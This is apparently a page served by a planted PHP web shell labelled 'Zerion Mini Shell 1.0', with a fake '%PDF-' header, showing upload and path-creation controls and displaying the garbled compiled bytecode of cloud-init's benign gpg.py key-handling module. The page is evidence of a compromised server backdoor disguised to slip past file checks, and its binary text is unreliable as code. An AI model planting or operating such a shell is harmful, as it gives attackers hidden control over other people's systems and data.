%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/lib/python3/dist-packages/cloudinit/__pycache__/gpg.cpython-35.pyc



"�T`d
�@s{dZddlmZddlmZddlZeje�Zdd�Z	ddd	�Z
d
d�Zdd
d�ZdS)z0gpg.py - Collection of gpg key related functions�)�log)�subpNcCssy+tjddd|gdd�\}}WnAtjk
rn}ztjd||�d}WYdd}~XnX|S)z*Export gpg key, armoured key gets returned�gpgz--exportz--armour�captureTz&Failed to export armoured key "%s": %sN)r�ProcessExecutionError�LOG�debug)�key�armour�_�error�r
�//usr/lib/python3/dist-packages/cloudinit/gpg.py�
export_armoursr�c	 CsGtjd||�ddd|d|g}|dkr>g}d}d}t|�}x�|d7}y1tj|d	d
�tjd|||�dSWn.tjk
r�}z|}WYdd}~XnXy3t|�}tjd|j|�tj|�WqYt	k
r>}z$t
d
||||f�|�WYdd}~XqYXqYWdS)a�Receive gpg key from the specified keyserver.

    Retries are done by default because keyservers can be unreliable.
    Additionally, there is no way to determine the difference between
    a non-existant key and a failure.  In both cases gpg (at least 2.2.4)
    exits with status 2 and stderr: "keyserver receive failed: No data"
    It is assumed that a key provided to cloud-init exists on the keyserver
    so re-trying makes better sense than failing.

    @param key: a string key fingerprint (as passed to gpg --recv-keys).
    @param keyserver: the keyserver to request keys from.
    @param retries: an iterable of sleep lengths for retries.
                    Use None to indicate no retries.z&Importing key '%s' from keyserver '%s'rz--no-ttyz--keyserver=%sz--recv-keysNrrrTz/Imported key '%s' from keyserver '%s' on try %dz6Import failed with exit code %d, will try again in %ssz@Failed to import key '%s' from keyserver '%s' after %d tries: %s)rr�iterrr�nextZ	exit_code�timeZsleep�
StopIteration�
ValueError)	r	�	keyserverZretries�cmdZtrynumrZsleeps�eZnaplenr
r
r�recv_keys6
	

rcCshy&tjdddd|gdd�Wn;tjk
rc}ztjd||�WYdd}~XnXdS)	z0Delete the specified key from the local gpg ringrz--batchz--yesz
--delete-keysrTzFailed delete key "%s": %sN)rrrZwarning)r	rr
r
r�
delete_keyIs
rzkeyserver.ubuntu.comcCspt|�}|slzLy t|d|�t|�}Wn%tk
r\tjd|��YnXWdt|�X|S)zget gpg keyid from keyserverrzFailed to obtain gpg key %sN)rrrrZ	exceptionr)Zkeyidrr
r
r
r�
getkeybyidRs
r)rr)
�__doc__Z	cloudinitrZloggingrrZ	getLogger�__name__rrrrrr
r
r
r�<module>s+	

Zerion Mini Shell 1.0